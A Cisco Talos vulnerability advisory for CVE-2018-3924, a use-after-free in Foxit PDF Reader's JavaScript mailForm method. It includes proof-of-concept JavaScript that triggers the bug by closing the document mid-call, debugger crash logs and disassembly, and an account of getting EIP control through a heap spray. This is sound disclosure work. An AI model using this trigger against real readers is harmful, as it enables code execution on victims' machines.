Talos Vulnerability Report

TALOS-2018-0588

Foxit PDF Reader Javascript MailForm Remote Code Execution Vulnerability

July 19, 2018
CVE Number

CVE-2018-3924

Summary

An exploitable use-after-free vulnerability exists in the JavaScript engine of Foxit Software’s Foxit PDF Reader version 9.1.5096. A specially crafted PDF document can trigger a previously freed object in memory to be reused, resulting in arbitrary code execution. An attacker needs to trick the user into opening the malicious file to trigger this vulnerability. If the browser plugin extension is enabled, visiting a malicious site can also trigger the vulnerability.

Tested Versions

Foxit Software Foxit PDF Reader 9.1.5096.

Product URLs

https://www.foxitsoftware.com/products/pdf-reader/

CVSSv3 Score

8.8 - CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

CWE

CWE-416: Use After Free

Details

Foxit PDF Reader is one of the most popular PDF document readers, and has a widespread user base. It aims to have feature parity with Adobe’s Acrobat Reader. As a complete and feature-rich PDF reader, it supports JavaScript for interactive documents and dynamic forms. JavaScript support poses an additional attack surface.

When executing embedded JavaScript code, a document can be closed, which essentially frees a lot of used objects, but the JavaScript can continue to execute. Invoking a method which keeps a stale reference to a now-freed object can lead to a use-after-free condition, which can be abused to execute arbitrary code.

This particular vulnerability lies in invoking mailForm method of the active document, which can trigger a use-after-free condition called with specially crafted arguments like we see in the following code:

var v1 = new Array(); 
function main() {
v1.toString = f;
app.activeDocs[0].mailForm({},v1,{},{},{},true,{}); 
}

function f() {
app.activeDocs[0].closeDoc(); 

    return 1;
}

In the above code, we craft an array v1 with overloaded toString method to call function f. Then we invoke mailForm method. While accessing the arguments, mailForm will expect second argument to be of type string and will call object’s toString method. In this case, that will execute function f, which closes the current document. Closing the document frees a number of objects, and then when the execution returns to the rest of mailForm method, a stale pointer is reused, leading to use-after-free.

Opening this proof-of-concept PDF document in Foxit Reader with PageHeap enabled results in the following crash:

(134c.1720): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000001 ebx=00000000 ecx=0fd50da8 edx=075e10d0 esi=0019eb70 edi=12680ef0
eip=0145c32b esp=0019ea70 ebp=0019eaf0 iopl=0         nv up ei pl nz ac pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00210216
FoxitReader!CryptVerifyMessageSignature+0x94a7b:
0145c32b 8b11            mov     edx,dword ptr [ecx]  ds:0023:0fd50da8=????????
0:000> k 5
 # ChildEBP RetAddr  
WARNING: Stack unwind information not available. Following frames may be wrong.
00 0019eaf0 0145c639 FoxitReader!CryptVerifyMessageSignature+0x94a7b
01 0019eb4c 01011578 FoxitReader!CryptVerifyMessageSignature+0x94d89
02 0019eb94 02519b2e FoxitReader+0x381578
03 0019ebc8 02511946 FoxitReader!CryptVerifyMessageSignature+0x115227e
04 0019ec30 02513cf3 FoxitReader!CryptVerifyMessageSignature+0x114a096
0:000> dd ecx
0fd50da8  ???????? ???????? ???????? ????????
0fd50db8  ???????? ???????? ???????? ????????
0fd50dc8  ???????? ???????? ???????? ????????

Analyzing the heap state clearly shows that ecx points into an unallocated freed memory region. If we examine the next few instructions we can see the following:

0:000> u
FoxitReader!CryptVerifyMessageSignature+0x94a7b:
0145c32b 8b11            mov     edx,dword ptr [ecx]
0145c32d 8b8258010000    mov     eax,dword ptr [edx+158h]
0145c333 ffd0            call    eax

We can observe from the above listing that twice-dereferenced address from ecx, through edx+0x158 ends up in eax which is then used as argument to call instruction. This makes this vulnerability easy to exploit, since we can control the contents of ecx.

And indeed, with a simple heap spray added after the call to closeDoc, we can get an object of our choosing at the desired address and ultimately get full EIP control:

(564.1060): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=41414141 ebx=00000000 ecx=0871cbe0 edx=0870f948 esi=0017e5b0 edi=08785bc8
eip=41414141 esp=0017e4ac ebp=0017e530 iopl=0         nv up ei pl nz ac pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00210216
41414141 ??              ???
0:000> k 5 
 # ChildEBP RetAddr  
WARNING: Frame IP not in any known module. Following frames may be wrong.
00 0017e4a8 0099c335 0x0
01 0017e530 0099c639 FoxitReader!CryptVerifyMessageSignature+0x94a85
02 0017e58c 00551578 FoxitReader!CryptVerifyMessageSignature+0x94d89
03 0017e5d4 01a59b2e FoxitReader+0x381578
04 0017e608 01a51946 FoxitReader!CryptVerifyMessageSignature+0x115227e
0:000> u 0099c335 -8 
FoxitReader!CryptVerifyMessageSignature+0x94a7d:
0099c32d 8b8258010000    mov     eax,dword ptr [edx+158h]
0099c333 ffd0            call    eax

Timeline

2018-05-01 - Vendor Disclosure
2018-07-19 - Public Release

Credit

Discovered by Aleksandar Nikolic of Cisco Talos.